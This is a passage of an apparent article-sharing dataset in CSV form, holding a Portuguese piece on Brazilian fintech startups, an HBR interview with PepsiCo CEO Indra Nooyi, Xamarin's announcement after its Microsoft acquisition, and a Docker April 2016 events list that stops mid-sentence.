1459533478,CONTENT SHARED,6162786478796754684,5660542693104786364,-6020531504471137165,,,,HTML,http://startse.infomoney.com.br/portal/2016/03/30/18360/o-brasil-das-fintechs-conhea-startups-nacionais-que-podem-fazer-voc-sair-dos-bancos/,O Brasil das fintechs: conheça startups nacionais que podem fazer você sair dos bancos,"SÃO PAULO - Já faz algum tempo que as startups de tecnologia vêm desafiando grandes bancos com a sua capacidade de fazer mudanças e melhor atender clientes de forma ágil e personalizada. Em resposta a isso, as instituições mais robustas vêm tentando se igualar às empresas disruptivas, criando tecnologias próprias ou mesmo adquirindo fintechs já estabelecidas , criando grandes ambientes de ""comunidades"" de pequenas empresas. INSCREVA-SE no ACCELERATOR DAY pelo preço promocional de R$ 249,00 E AINDA GANHE $500 dólares EM SERVIÇOS DA AMAZON AWS para usar como quiser e acelerar sua startup. Ainda não é possível prever se os bancos de fato deixarão de existir ou se as fintechs farão com que eles tenham que se transformar totalmente. Mas uma coisa é certa: estamos acompanhando uma revolução na relação das pessoas com o dinheiro . Na base, os bancos tradicionais oferecem quatro grandes categorias de serviços: pagamentos, recebimentos, crédito pessoal e investimentos. E já existem fintechs brasileiras capazes de realizar serviços em cada uma dessas pontas. Confira uma lista de algumas delas: 1. Pagamentos e compras É provável que hoje a Nubank , startup que oferece um cartão de crédito 100% eletrônico sem anuidade e com taxas abaixo da média do mercado, seja a fintech brasileira mais conhecida e mais disputada que existe. Mas ela não é a única que oferece a facilidade de pagar pelas suas compras apoiando-se na tecnologia. As opções de cartões pré-pagos, como o oferecido pela ContaSuper , recém adquirida pelo Santander , estão cada vez mais tecnológicos e personalizáveis, para quem prefere débito a crédito na hora de gastar. Em outra frente, ainda independente, a PayPaxx oferece o cartão recarregável sem taxa alguma, em uma solução voltada a empresas completamente personalizável. 2. Recebimentos O Paypal também se tropicalizou. A plataforma que funciona como carteira virtual e pagamento móvel Stelo , criada em parceria entre o Bradesco e o Banco do Brasil, permite que o usuário faça um cadastro na internet com seu próprio cartão de débito ou crédito para realizar pagamentos online com maior facilidade. Já a Pagar.me fornece infraestrutura de meios de pagamento para comércio eletrônico, agindo como intermediadora para essas empresas e conseguindo taxas de transações mais vantajosas, sem a necessidade de mandar o consumidor para um site específico de pagamentos. Por sua vez, o Asaas desenvolve a plataforma para geração de boleto, gestão de cobranças e antecipação de recebíveis por boleto para microempresas, MEIs e autônomos. Mais específica, a Vitta Pagamentos é uma maquininha de cartão digital que funciona perfeitamente para profissionais da saúde, que agora precisam declarar os CPFs de seus pacientes juntamente com o Imposto de Renda anual . Outras fintechs de pagamentos pelo celular, semelhantes ao Apple Pay e ao Samsung Pay, já estão no país. Embora as maquininhas de pagamentos do país aceitem a tecnologia e haja algumas opções, como o Oi Paggo, ainda não foi desenvolvida uma tecnologia do tipo por uma startup brasileira. 3. Investimentos Com grandes filas para quem quer investir e selecionando cuidadosamente as empresas que receberão esses investimentos, a Biva tem uma alta rentabilidade para o investidor e ainda permite que o dinheiro ajude pequenas empresas que precisam dele. A proposta da Broota é bastante parecida, reunindo empreendedores, investidores e mentores para criar um ambiente de investimentos através da internet. Para quem quer investir na bolsa ou em títulos , a Vérios e a SmarttBot ajudam: são robôs investidores que participam dos investimentos de pessoas físicas, cada um com um perfil de cliente. A Vérios funciona como um conselheiro, para investidores com pouca experiência no mercado; já a SmarttBot busca traders que já sabem onde investir, mas facilita e agiliza a operação automatizando-a. 4. Crédito A Catarse , que ficou bastante famosa com campanhas criativas ao redor do mundo, permite que pessoas físicas e empresas busquem financiamento independentemente, através da internet. Os usuários ajudam as campanhas que têm interesse e, muitas vezes, ganham brindes ou produtos em troca. Já a Intoo serve como facilitadora de crédito especificamente para pequenas empresas, servindo como porta de entrada para o sistema financeiro. Funciona como uma ferramenta de business intelligence que facilita a escolha de ""merecedoras"" de crédito para os bancos qualificarem seus clientes, evitando a inadimplência.",pt
1459536722,CONTENT SHARED,1459131257418324496,-3390049372067052505,3349934256276420068,,,,HTML,https://hbr.org/2015/09/how-indra-nooyi-turned-design-thinking-into-strategy,How Indra Nooyi Turned Design Thinking Into Strategy: An Interview with PepsiCo's CEO,"Just a few years ago, it wasn't clear whether Indra Nooyi would survive as PepsiCo's CEO. Many investors saw Pepsi as a bloated giant whose top brands were losing market share. And they were critical of Nooyi's shift toward a more health-oriented overall product line. Prominent activist investor Nelson Peltz fought hard to split the company in two. These days Nooyi, 59, exudes confidence. The company has enjoyed steady revenue growth during her nine years in the top job, and Pepsi's stock price is rising again after several flat years. Peltz even agreed to a truce in return for a board seat for one of his allies. All of this frees Nooyi to focus on what she says is now driving innovation in the company: design thinking. In 2012 she brought in Mauro Porcini as Pepsi's first-ever chief design officer. Now, Nooyi says, ""design"" has a voice in nearly every important decision that the company makes. (See the interview with Porcini in this issue.) To understand Pepsi's transformation, I spoke with Nooyi at the company's temporary headquarters in White Plains, New York (the real one, in Purchase, is being renovated). She talked about what design means to her, the challenges in changing a culture, and her proudest achievement. -Adi Ignatius HBR: What problem were you trying to solve by making PepsiCo more design-driven? Nooyi: As CEO, I visit a market every week to see what we look like on the shelves. I always ask myself-not as a CEO but as a mom-""What products really speak to me?"" The shelves just seem more and more cluttered, so I thought we had to rethink our innovation process and design experiences for our consumers-from conception to what's on the shelf. How did you begin to drive that change? First, I gave each of my direct reports an empty photo album and a camera. I asked them to take pictures of anything they thought represented good design. What did you get back from them? After six weeks, only a few people returned the albums. Some had their wives take pictures. Many did nothing at all. They didn't know what design was. Every time I tried to talk about design within the company, people would refer to packaging: ""Should we go to a different blue?"" It was like putting lipstick on a pig, as opposed to redesigning the pig itself. I realized we needed to bring a designer into the company. How easy was it to find Mauro Porcini? We did a search, and we saw that he'd achieved this kind of success at 3M. So we brought him in to talk about our vision. He said he wanted resources, a design studio, and a seat at the table. We gave him all of that. Now our teams are pushing design through the entire system, from product creation, to packaging and labeling, to how a product looks on the shelf, to how consumers interact with it. What's your definition of good design? For me, a well-designed product is one you fall in love with. Or you hate. It may be polarizing, but it has to provoke a real reaction. Ideally, it's a product you want to engage with in the future, rather than just ""Yeah, I bought it, and I ate it."" You say it's not just about packaging, but a lot of what you're talking about seems to be that. It's much more than packaging. We had to rethink the entire experience, from conception to what's on the shelf to the postproduct experience. Let's take Pepsi Spire, our new touchscreen fountain machine. Other companies with dispensing machines have focused on adding a few more buttons and combinations of flavors. Our design guys essentially said that we're talking about a fundamentally different interaction between consumer and machine. We basically have a gigantic iPad on a futuristic machine that talks to you and invites you to interact with it. It tracks what you buy so that in the future, when you swipe your ID, it reminds you of the flavor combinations you tried last time and suggests new ones. It displays beautiful shots of the product, so when you add lime or cranberry, it actually shows those flavors being added-you experience the infusion of the flavor, as opposed to merely hitting a button and out comes the finished product. Have you developed other notable design-led innovations? We're working on new products for women. Our old approach was ""shrink it or pink it."" We'd put Doritos, say, in a pink Susan G. Komen bag and say it's for women. That's fine, but there's more to how women like to snack. When men finish a snack bag, they pour what's left into their mouths. Women don't do that. And they worry about how much the product may stain-they won't rub it on a chair, which a lot of guys do. In China, we've introduced a stacked chip that comes in a plastic tray inside a canister. When a woman wants to snack, she can open her drawer and eat from the tray. When she's done, she can push it back in. The chip is also less noisy to eat: Women don't want people to hear them crunching away. Basically, you're paying a lot more attention to user experience. Definitely. In the past, user experience wasn't part of our lexicon. Focusing on crunch, taste, and everything else now pushes us to rethink shape, packaging, form, and function. All of that has consequences for what machinery we put in place-to produce, say, a plastic tray instead of a flex bag. We're forcing the design thinking way back in the supply chain. To what extent do you listen to consumers? Do they even know what they want? I don't know if consumers know what they want. But we can learn from them. Let's take SunChips. The original size was one inch by one inch. When you'd bite into a chip, it would break into pieces. In focus groups consumers told us they went to another product because it was bite-size. We had to conclude that SunChips were too damn big. I don't care if our mold can only cut one inch by one inch. We don't sell products based on the manufacturing we have, but on how our target consumers can fall in love with them. Launch and Failure When I picture design thinking, I think about rapid prototyping and testing. Is that part of what you're trying to do? Not so much in the U.S., but China and Japan are lead horses for that process-test, prove, launch. If you launch quickly, you have more failures, but that's OK because the cost of failure in those markets is low. In the U.S., we tend to follow very organized processes and then launch. The China-Japan model may have to come to the U.S. at some point. Isn't this model already established in the U.S., or at least in Silicon Valley? Lots of small companies take this approach, and for them the cost of failure is acceptable. We're more cautious, especially when playing with big brands. Line extensions are fine: If you launch a flavor of Doritos that doesn't work, you just pull it. But if you launch a new product, you want to make sure you've tested it enough. In Japan, we launch a new version of Pepsi every three months-green, pink, blue. We just launched cucumber-flavored Pepsi. In three months it either works or we pull it and go to the next product. Is your design approach giving Pepsi competitive advantage? We have to do two things as a company: Keep our top line growing in the mid single digits, and grow our bottom line faster than the top. Line extensions keep the base growing. And then we're always looking for hero products-the two or three big products that will drive the top line significantly in a particular country or segment. Mountain Dew Kickstart is one of those. It's a completely different product: higher juice content, fewer calories, new flavors. We thought about this innovation differently. In the past we just would have created new flavors of Mountain Dew. But Kickstart comes in a slim can and doesn't look or taste like the old Mountain Dew. It's bringing new users into the franchise: women who say, ""Hey, this is an 80 calorie product with juice in a package I can walk around with."" It has generated more than $200 million in two years, which in our business is hard to do. Is this an example of design thinking, or just part of the innovation process? There's a fine line between innovation and design. Ideally, design leads to innovation and innovation demands design. We're just getting started. Innovation accounted for 9% of our net revenue last year. I'd like to raise that to the mid teens, because I think the marketplace is getting more creative. To get there, we'll have to be willing to tolerate more failure and shorter cycles of adaptation. Do you feel that companies have to reinvent themselves every few years, that competitive advantage is fleeting? No question about it. It's been a long time since you could talk about sustainable competitive advantage. The cycles are shortened. The rule used to be that you'd reinvent yourself once every seven to 10 years. Now it's every two to three years. There's constant reinvention: how you do business, how you deal with the customer. Managing Change How do you bring everyone in the company along with what sounds like a dramatic change in approach? The most important thing was finding the right person in Mauro. Our beverage people immediately embraced how he could help us think about product design and development. Then retailers fell in love with him and started inviting him to their shops to talk about how to reset their shelves. Mauro's team grew from about 10 people to almost 50, and we set him up in Soho in New York City. Now our products look like they're tailored to the right cohort groups, and our packaging looks pretty damn good, too. How do you push the culture change throughout the company? In the past, being decentralized was our strength, but also our weakness. It's a fine approach when the whole world is growing and life is peachy. But it doesn't work when things are volatile globally and you need coordination. We've given our people 24 to 36 months to adapt. I told everyone that if they don't change, I'd be happy to attend their retirement parties. How do you measure whether or not people are making it? We watch how they act in our global meetings and whether they include design early in the process. We see how much innovation, influenced by design, is being put into the market. We maintain an aggressive productivity program to take costs out and free up resources. You have to squeeze as much as you can out of every dollar, and we watch how many costs are coming out. Purpose and the Portfolio You often use the term ""purpose"" in talking about your business. What does that mean to you? When I became CEO in 2006, I did a series of town hall meetings with employees. Few said they came to work for a paycheck. Most wanted to build a life, not simply gain a livelihood. And they were well aware that consumers cared about health and wellness. We realized we needed to engage our people's heads, hearts, and hands. We had to produce more products that are good for you. We had to embrace sustainability. Purpose is not about giving money away for social responsibility. It's about fundamentally changing how to make money in order to deliver performance-to help ensure that PepsiCo is a ""good"" company where young people want to work. Would you be willing to accept lower profit margins to ""do the right thing""? Surely, there have to be trade-offs. Purpose doesn't hurt margins. Purpose is how you drive transformation. If you don't transform the portfolio, you're going to stop top-line growth, and margins will decline anyway. So we don't really invest in ""purpose,"" but in a strategy to keep the company successful in the future. If we hadn't tackled certain environmental issues, especially with water, we would have lost our licenses in some countries. Now, sometimes when you're changing the culture radically, you run into problems. Transformations sometimes hit your margins or top line because things don't always go in a straight line. But if you think in terms of the life span of the company, these are just small blips. But aren't you still selling a lot of unhealthy products? We make a portfolio of products, some of which are ""fun for you"" and some of which are ""good for you."" We sell sugary beverages and chips, but we also have Quaker Oats, Tropicana, Naked Juice, and Izze. We're reducing the salt, sugar, and fat in the core products. And we've dialed up the good-for-you offerings because societal needs have changed. Would you consider stopping a popular product line because it doesn't meet the good-for-you standard? That wouldn't make sense, because none of our products is bad or unsafe. We give consumers choices that reflect their lifestyles. If you want to consume Pepsi, we'll give you Pepsi in every size possible so that on one occasion you can consume 12 ounces and on another only seven and a half. We want to make sure that both the good-for-you and the fun-for-you products are readily available, affordably priced, and great tasting. And we make sure that good-for-you tastes as good as fun-for-you. We want you to love our Quaker Oats Real Medleys as much as you love Doritos Loaded. Do you try to push sales of the healthier products? Yes, but we also want to preserve choice. We've taken lessons from Richard Thaler and Cass Sunstein's book Nudge. We try to put portion-control packages out front on the shelves. We make sure our diet products are merchandised as aspirationally as our full-sugar products are. We advertise Gatorade only with athletes in mind because it's not intended to be a recreational beverage. Consumers seem very demanding these days. How do you keep up with that? We have to make sure we're engineering our portfolio for the consumer of the future. There's nothing wrong, for example, with aspartame. But if consumers say they don't like it, we have to give them a choice. We'll offer a diet product that's aspartame-free. Similarly, there's nothing wrong with high-fructose corn syrup, but if consumers say they like real sugar, we have to offer that, too. What's your proudest accomplishment since becoming CEO? I took over PepsiCo just after it had a string of successful years. Then everything changed. We faced new regulatory pressures on our fun-for-you categories, and our good-for-you business wasn't fully developed. The North American market slowed down, and we weren't big enough internationally. Sales through some major U.S. customers slowed down massively. Our key beverage competitor had done a big reset of its own, and it bounced back. We looked at ourselves and saw a decentralized, far-flung company that had to be knitted together. The culture needed to change. We had to eliminate redundancies. We had to slim down to reinvest in R&D, advertising and marketing, and new capabilities. I had a choice. I could have gone pedal to the metal, stripped out costs, delivered strong profit for a few years, and then said adios. But that wouldn't have yielded long-term success. So I articulated a strategy to the board focusing on the portfolio we needed to build, the muscles we needed to strengthen, the capabilities to develop. The board said, ""We know there will be hiccups along the way, but you have our support, so go make it happen."" We started to implement that strategy, and we've delivered great shareholder value while strengthening the company for the long term. Growing up in Madras, you seem to have broken every possible stereotypical expectation of a young girl in India. Are you still that person? To a certain extent. When you're a CEO, you can't break too many stereotypical expectations. I wish you could, but you can't. In those days, there was a well-defined conservative stereotype, so everything I did was breaking the framework. I played in a rock band. I climbed trees. I did stuff that made my parents wonder, ""What the hell is she doing?"" But I also was a good student and a good daughter, so I never brought shame on the family. And I was lucky that the men in my family thought the women should have an equal shot at everything. I'm still a bit of a rebel, always saying that we cannot sit still. Every morning you've got to wake up with a healthy fear that the world is changing, and a conviction that, to win, you have to change faster and be more agile than anyone else. A version of this article appeared in the September 2015 issue (pp.80-85) of Harvard Business Review .",en
1459538409,CONTENT SHARED,-9028990334396397584,3622641762376806537,4174895005291285132,,,,HTML,https://blog.xamarin.com/xamarin-for-all/,Xamarin for Everyone,"On March 18th, 2016, Microsoft's acquisition of Xamarin officially closed. We love C# and we want every developer to be able to take advantage of the power of .NET in every app, on every device. Being part of Microsoft makes it possible for us to do some incredible things, and today we are announcing several big changes to the way we ship our products. Visual Studio now includes Xamarin As of today, we are including Xamarin in Visual Studio at no extra cost . Xamarin will be in every edition of Visual Studio, including the widely-available Visual Studio Community Edition, which is free for individual developers, open source projects, academic research, education, and small professional teams . Develop and publish native apps for iOS and Android with C# or F# from directly within Visual Studio with no limits on app size. For developers on the Mac, Xamarin Studio is now available as a benefit of your Visual Studio Professional or Enterprise subscription. Developers can use the newly-created Xamarin Studio Community Edition for free. To begin developing iOS and Android apps with the full power of Xamarin and C#, download Xamarin Studio or Xamarin for Visual Studio today . We love open source And we know you do too. So we are announcing today that we have contributed the Mono Project to the .NET Foundation , including some previously-proprietary mobile-specific improvements to the Mono runtime. Mono will also be re-released under the MIT License, to enable an even broader set of uses for everyone. In addition, to help clarify users' rights to Mono under Microsoft patents, Microsoft has issued a broad patent promise for Mono. Miguel has posted more details to the Mono Project blog . These changes to Mono remove all barriers to adopting a modern, performant .NET runtime in any software product, embedded device, or game engine, and open the door to easily integrate C# with apps and games on iOS, Android, Mac, and Windows, as well as PlayStation 4, Xbox One, and any emerging platforms developers want to target in the future But wait, there's more! In addition to these important steps, we are announcing today our commitment to open source the Xamarin SDKs for Android, iOS, and Mac under the MIT license in the coming months. This includes native API bindings and the basic command-line tools necessary to develop mobile apps. It also includes our popular cross-platform native UI toolkit, Xamarin.Forms . With these changes, .NET is now open source and native on every single device, from mobile to desktop to cloud. This is a proud moment for all of us who have invested years into making .NET the best platform, and we know that this change will make it even easier for developers to invest their own time into building great software in C#. We look forward to building a true open source community around Xamarin, and eagerly await the first pull requests. Xamarin Insights is joining HockeyApp Xamarin Insights delivers incredible value to mobile .NET developers by helping find and debug issues in your apps. Now we are ready to bring that experience to an even wider audience. Over the next few months, Xamarin Insights will merge with HockeyApp bringing experiences that made Xamarin Insights so great into HockeyApp . During this transition, current Xamarin Insights customers will be supported through existing contracts and Xamarin developers can still freely integrate Xamarin Insights into their apps. For more information, please see the FAQ . Xamarin Test Cloud This morning at the BUILD conference Scott Guthrie showed how Slack and Pinterest are using Xamarin Test Cloud and our 2,300-device test lab to make sure their apps work everywhere. We will continue to provide Xamarin Test Cloud as a standalone product, and we will be investing heavily in its future. Xamarin University On the Xamarin University front, we're working with other teams within Microsoft to expand our content to cover mobile development with more Microsoft products. We've also launched a free self-guided class designed to get you up to speed on Xamarin quickly, and it even counts toward Xamarin Developer Certification! Start learning today . To our customers Our commitment to your success in mobile is stronger than ever. We want to continue to be your trusted partner, and you should hold us to the highest standards in the quality of our products and support. If you have additional questions, visit our FAQ or reach out at hello@xamarin.com . We would love to hear from you.",en
1459541176,CONTENT SHARED,2788367348502337122,-4243635261966794110,-22535917374274784,,,,HTML,https://blog.docker.com/2016/04/docker-agenda-april/,Your Docker Agenda for April,"Thank you Docker community for your amazing collaborations last month! In March, the community organized over 125 Docker Birthday #3 local trainings and celebrations . This month, you can still catch a few more birthday events and lots of other awesome Docker events! From webinars to workshops, meetups to conference talks, here is our list of Docker events coming up in April. Official Docker Training Courses View the full schedule of instructor led training courses here! Introduction to Docker This is a two-day, on-site or classroom-based training course which introduces you to the Docker platform and takes you through installing, integrating, and running it in your working environment. By the end of the course, you will be familiar with the ""why"" of Docker. You will also be able to perform the basic tasks needed to get started with Docker and integrate it into your working environment. April 14-15: Introduction to Docker with Antelops Consulting - Madrid, Spain April 28-29: Introduction to Docker with Treeptik - Aix en Provence, France Docker Administration and Operations This two day course is designed to help new and experienced systems administrators learn to use Docker to control the Docker daemon, security, Docker Machine, Swarm, and Compose. April 19-20: Administration and Operations with Vizuri - Boston, MA April 25-29: Docker Administration and Operations with Antelops Consulting - Madrid, Spain Advanced Docker Operations This two day course is designed to help new and experienced systems administrators learn to use Docker to control the Docker daemon, security, Docker Machine, Swarm, and Compose. April 19-20: Advanced Docker Operations with Praqma - Copenhagen, Denmark Online Apr 5th: Docker Datacenter Demo During this live presentation you will receive an overview of Docker Datacenter, and will see a demo of the solution which includes Universal Control Plane + Docker Trusted Registry. Apr 6th: Hump Day Demos - Docker Content Trust In this demo you will learn about Docker Content Trust, our image signing tool, and how it integrates with Docker Datacenter. Then you will see a live demo of the tool. Apr 7th: Enabling Splunk's House of Demos with Docker Isolation and portability properties of a Docker containers have the potential for broader use outside of software development. Splunk wanted to solve for the SE or partner that has to give an awesome Splunk demo in a place with no internet connectivity. With Docker Datacenter and Toolbox, they have been able to re-boot their House of Demos into a library of Docker images/containers that an SE can get access to just by logging in. These pre-packaged demos then run offline on Toolbox. Apr 12th: How FairFly Uses Docker Cloud In this live presentation, Ami Goldenberg, co-founder and CEO of FairFly, the company that helps you rebook your flight for a better price, shares how the company uses Docker Cloud to help them deliver world-class services to their customers. North & South America Apr 1st: Docker Meetup at GE Digital - San Ramon, CA Join us for our first East Bay Docker Meetup with speakers from GE Digital, Docker, and Mesos. ""Containers for the Industrial Internet"" by Marc-Thomas Schmidt, ""Securing your Containers"" by David Lawrence, engineer from Docker, ""Container Orchestration with Mesos"" by Greg Mann. Apr 5th: Docker 101 by Gerald Aden - Beaverton, OR Come find out what all the buzz is about with Docker and containers in general! Apr 5th: April Meetup Featuring Docker and Horizon - Mountain View, CA Happy Spring everyone We have a few really great talks for our meetup this month and hope you're able to join us! Talk 1: Nathan LeClaire from Docker - details coming soon. Talk 2: Mike Seid - Founder/CTO of Naytev. Apr 5th: Intro to webpack by Lenny Sirivong, Intro to Docker by Armand Zerilli - Ithaca, NY Join us for two hot topics that we've been looking forward to talking about for a while now. This is the first time we've had talks about webpack or docker, so both will be introductory. See you there! Apr 5th: Node Night - Mountain View, CA At this meetup, Tony and the Atomiq team will be officially launching a new open source project for generating microservices for Node.js with first class ES6 and async/await support, as well as support for building, running, and debugging microservices in Docker containers. We'll show you how to generate new projects and easily create routes using ES6 classes. Apr 6th: Deploying a ""Hello, World!"" Application in AWS - San Francisco, CA Transcoder, you wrote your code, now you want to take it into production. Guest presenter, Faye Salwin, will show you how you can leverage Docker to take the stress out of putting your code into production. Topics include: Good Git Practice, Mechanics of Docker, Deploying our ""Hello, World!"" Application in AWS, Automating Deployments in AWS. Apr 6th: De Integración Continua a Entrega Continua con Docker y GoCD - Medellín, Colombia ¿Tienes montado un servidor de integración continua pero sólo te sirve para compilar y tal vez ejecutar pruebas unitarias cada X tiempo? ¿Pasar a producción es una tortura? En esta charla Sebastián Vélez nos mostrará cómo pasar de una estrategia de Integración Continua a una de Entrega Continua con GoCD ( y Docker ( El objetivo final es que pasar a producción sea tan fácil como apretar un botón. Apr 6th: Getting Started with Docker - Franklin, TN Lee Jones will be presenting Docker, a tool that can provide exciting new development, testing, and deployment capabilities for individuals and teams. This talk will provide an introduction to Docker with a focus on development and testing use cases. Apr 7th: Using Docker and Elastic Beanstalk in Production - Toronto, ON, Canada For this meetup, N49 will share how they are making the move from monolithic architecture to Service Oriented architecture, lessons learned and a walk through of how they are leveraging Docker, Elastic Beanstalk, API-Gateway, and swagger in Production. They will also share why they decided to move piece by piece and some lessons learned using docker in production. Apr 7th: Docker Meetup at Deis - Boulder, CO Join us for two great talks which will cover getting set up & getting serious with Docker. Talk 1: Docker in development, you have to start somewhere, Talk 2: Deis Workflow for Docker in Production. Apr 7th: Docker Meetup at Docker HQ - San Francisco, CA Please join us for a great meetup event tonight with speakers: Aditya and Arun Gupta, and David Lawrence! 6:00pm - 6:15pm: Arrival, Food and Beverages, 6:15pm - 7:00pm: Mobycraft - Docker in 8-bit, Arun and Aditya Gupta, 7:00pm - 7:45pm: Securing your Containers, David Lawrence, 7:45pm - 8:00pm: Wrap-up. Apr 7th: NumPy and Docker - Knoxville, TN For our April meeting, we'll have a presentation about using NumPy for scientific computing in Python by Gavin Wiggins. You can learn more about NumPy at numpy.org. We'll also have an overview on using Docker to distribute applications by Mike Hagedorn. Visit the Docker website at docker.com for more information about the platform. And don't forget to attend the meeting to get your free swag from Continuum Analytics, the makers of Anaconda. Apr 9th: Next Gen Angular2 + Ionic2 Stack, React Native IDEs, Easy Docker Deployment - Online This is an online meetup hosted by Modern Web. At this Modern Web event, we'll feature 3 cool new companies with tools focused on enhancing developer happiness by abstracting away repetitive tasks. Topic: Building & Testing micro-services app using Docker and Node.js. In this session we will go over the fundamental of Docker & Docker compose and build our first micro-services application. The session will include a live demo of Docker technology, Node.js and Codefresh platform. Apr 12th: Using Docker containers to run your automated test scripts - Waltham, MA I will enter more information here as the demo gets closer to completion. But generally I plan to show how we can leverage the power of Docker containers to spin up environments to run automated test scripts in them. Apr 13th: Docker Meetup at Hacker Dojo - Mountain View, CA Speaker: Donglue Chen (Docker). Title: Docker clustering improvement since Docker 1.10. Speaker: Ben Bernstein (Twistlock). Title: Docker, AuthZ, AuthN plugins Apr 14th: A guided tour of using Docker in your PHP web application - Toronto, Canada I'd be happy to share my experience with adapting a Zend/Angular web app to use Docker in production, pipeline and dev environments. We can work through the code to make it happen and talk about the benefits, gotchas, etc. General talk outline would be: The basic technologies that underpin software containers, What Docker does on top of that, Good use cases for Docker, Dockerfiles and Docker-compose files, Example of a PHP simple application using Docker. Apr 15th: Intro to Docker Compose 2 - Online In this session we will introduce & demo docker-compose 2. The session will run for 30 minutes including live demo and 10 minutes for Q&A. Apr 15th: Container Camp - San Francisco, CA This year at Container Camp Docker is sponsoring the Diversity Scholarship! The offering is for two full scholarships to Container Camp San Francisco to those from underrepresented backgrounds. The scholarships will include travel and accommodation costs and passes to the conference. Apr 19th: Container Security Summit - Palo Alto, CA Our purpose in organizing the summit is to hold a vendor-neutral, research-oriented, open discussion, bringing together thought leaders, practitioners, and solution providers to: a) define current container security challenges; b) share best practices and experiences securing containerized environments, and; c) identify opportunities for security innovations with containers Apr 20th: Docker Meetup at Dynatrace - San Mateo, CA When workspaces are universal, developers and users can interact in-the-moment. On-demand developer workspaces improve workflow and automate developer bootstrapping to supercharge the agile ethos. Codenvy makes tooling, workspaces and environments consistent across teams. We have Docker to thank for that. We use Docker, Docker Machine, and Docker Swarm to generate universal workspaces that are collaborative, constraint-free, and distributed. In this session, we'll introduce open source Eclipse Che and how it uses Docker and Docker Machine to make workspaces universal. Apr 20th: Build-as-code within Jenkins Pipeline & Docker - Washington, D.C. Jenkins is evolving from CI to CD platform. Now with Jenkins pipeline users can deploy code from Dev to Prod within a single job. Pipeline also provides deep integration with Docker and other cloud based platform. Come join us to talk about Jenkins pipeline and its future. Apr 24th: Docker and Cloud Servers - Concord, CA We are going to talk about Docker and software containers. Emphasis will be on Linux and open source technologies. Apr 25th: Redis Night - Data Structures and Deploy w/Docker - Atlanta, GA Talk #1: Redis Functions and Data Structures - Dave Nielsen, Developer Advocate, Redis Labs. Talk #2: Deploy Redis using Docker - John Willis, Partnerships, Docker. Apr 26th: Docker Meetup at NextGear Capital - Indianapolis, IN A Comprehensive Approach to Monitoring Docker - Christian Beedgen (Sumologic) I will talk about a comprehensive approach to monitoring Docker, based on this blog: . I will discuss how we implemented this (it is now an actual working source in our Collector framework) and what pros and cons we discovered. I will also address how this could be potentially improved in the future in Docker by introducing a firehose API for monitoring vendors. Europe Apr 2nd: Docker Birthday #3 Barcelona - Barcelona, Spain Join us in celebrating the Docker Project's 3rd birthday! To warmly welcome newcomers into our Docker community, we will provide Docker training to show them how they can build, ship, and run a distributed application with ease thanks to the Docker platform. Are you an advanced user? We strongly encourage Docker users of all skill levels to attend! We need a network of mentors who understand the Docker platform to answer any questions that newcomers may have. Apr 4th: Docker Meetup at The Castle ""Slottet"" Slottsbacken - Stockholm, Sweden We are proud to having J érôme Petazzoni himself visiting Stockholm. Jérôme will talk about and demo the various parts and aspects of the Docker platform in his talk ""Keeping up with the Docker Platform."" Join us in exploring the Docker platform! RSVP Apr 4th: Learn about Docker Swarm with Golang Paris - Paris, France A talk about Docker Swarm by Francis Bouvier, co-fondateur de Blueboard.it Apr 6th: Docker Meetup at Barcelona Activa - Barcelona, Spain Join us for the 18th Docker Barcelona Meetup. Our topic of the day is Docker Swarm, a Docker-native clustering system to manage containers at scale. Scaling and Clustering with Docker Swarm. (Speakers: Viktor Farcic from CloudBees & Dimitris Kapanidis from Harbur) In this talk we'll explain how to move from single-node containers infrastructure to multi-host environments, using Docker Swarm as a clustering system on-top of Docker Engine. Apr 6th: Introduction to Docker and Docker Compose - London, United Kingdom Docker is gaining popularity and the knowledge about it started to be the most desirable skill on the market. If so far you didn't have chance to create any Docker container or write Dockerfile, this session is for you. We will cover all basic functions of Docker and Docker Compose. You will learn how to create your first container and prepare images for your application. Apr 7th: Docker Lab with Dev_Ops_Tnf - Tenerife, Spain Apr 7th: Using Docker to quickly deploy applications on Raspberry Pi - Sevilla, Spain Raspberry Pi is an excellent platform for connecting devices to the cloud. However, the deployment of applications can be very laborious due to the units must have the operating system installed. Using Linux containers with Docker, we can develop and test applications locally, in order to then rapidly deploy our Raspberry Pi and / or share with the community without compromising the integrity of the operating system. We will illustrate these concepts by creating a Docker container that will allow us to read data from a temperature sensor connected to GPIO of Raspberry. Apr 7th: Docker Party - Intro and Best Practices for Containers - Jena, Germany At the first meeting will talk all about the virtualization of applications with containers to celebrate Docker's third year. Congratulations! Apr 12th: Meet Docker and akera.io - Cluj-Napoca, Romania We will share some of our experience with docker, node.js and give a quick intro on akera.io. This should be a regular two hours event, those that would like to play with akera.io can bring their laptops and hopefully we will have some nativescript demo to end the day. Apr 12th: Kiratech @ Vinitaly 2016 - Verona, Italy DevOps Day. The new paradigm of application delivery based on containers and micro service. Monitoring Big Data Analytics. Automation, continuous integration and delivery. DevOps philosophy put into practice. 10:20 to 10:40 Docker Datacenter - Docker Inc. Apr 13th: Docker Meetup at Grünhof - Freiburg, Germany Join us for our next meetup event! Apr 13th: Raising the Bar: Docker native clustering with Swarm - Tel Aviv-Yafo, Israel Drink beer and enjoy a great lecture by Haggai Zagury about: From development workstation(s) to * || anywhere (Docker makes it platform agnostic considering docker-machine drivers for aws, digitalocean etc etc ). Replacing ""packaging"" methodology with ""shipping"" methodology by transforming traditional deliverables such as war / jar / rpm etc to containers from development to staging & production. - discuss docker files and gradle & maven impl. Outline the variations between the different environments and the key components/enablers of the solution. Apr 13th: Bluemix and Docker containers - Paris, France Feature of Docker: Virtualization to containerization. How to leverage the power of Docker to deploy a container on Bluemix. Apr 14th: Docker Birthday #3 Cluj-Napoca - Cluj-Napoca, Romania Join us in celebrating the Docker Project's 3rd birthday! To warmly welcome newcomers into our Docker community, we will provide Docker training to show them how they can build, ship, and run a distributed application with ease thanks to the Docker platform. Are you an advanced user? We strongly encourage Docker users of all skill levels to attend! We need a network of mentors who understand the Docker platform to answer any questions that newcomers may have. Apr 14th: Docker Meetup at buschmais GbR - Dresden, Germany Join us for our next meetup with Sebastian Schrader from IBM. More details on the event page. RSVP Apr 14th: Docker Meetup at Hotel San Marco - Verona, Italy During this meeting we will discover, learn and discuss the latest news and developments of container technology. Soon we will publish the detailed agenda. Apr 14th: Docker Meetup in Amsterdam - Amsterdam, Netherlands Apr 20th: Women Who Go Workshop: Intro to Docker & containers - Berlin, Germany Introduction to Docker and containers. This hands-on tutorial will give you an opportunity to dive in, and see Docker in action. You will learn about Docker basic concepts, how to run containers, create your own images, interact with the ""Docker Hub"", connect multiple containers together to form complex applications, and manage persistent storage for containers. It is divided in two parts, each spanning 4 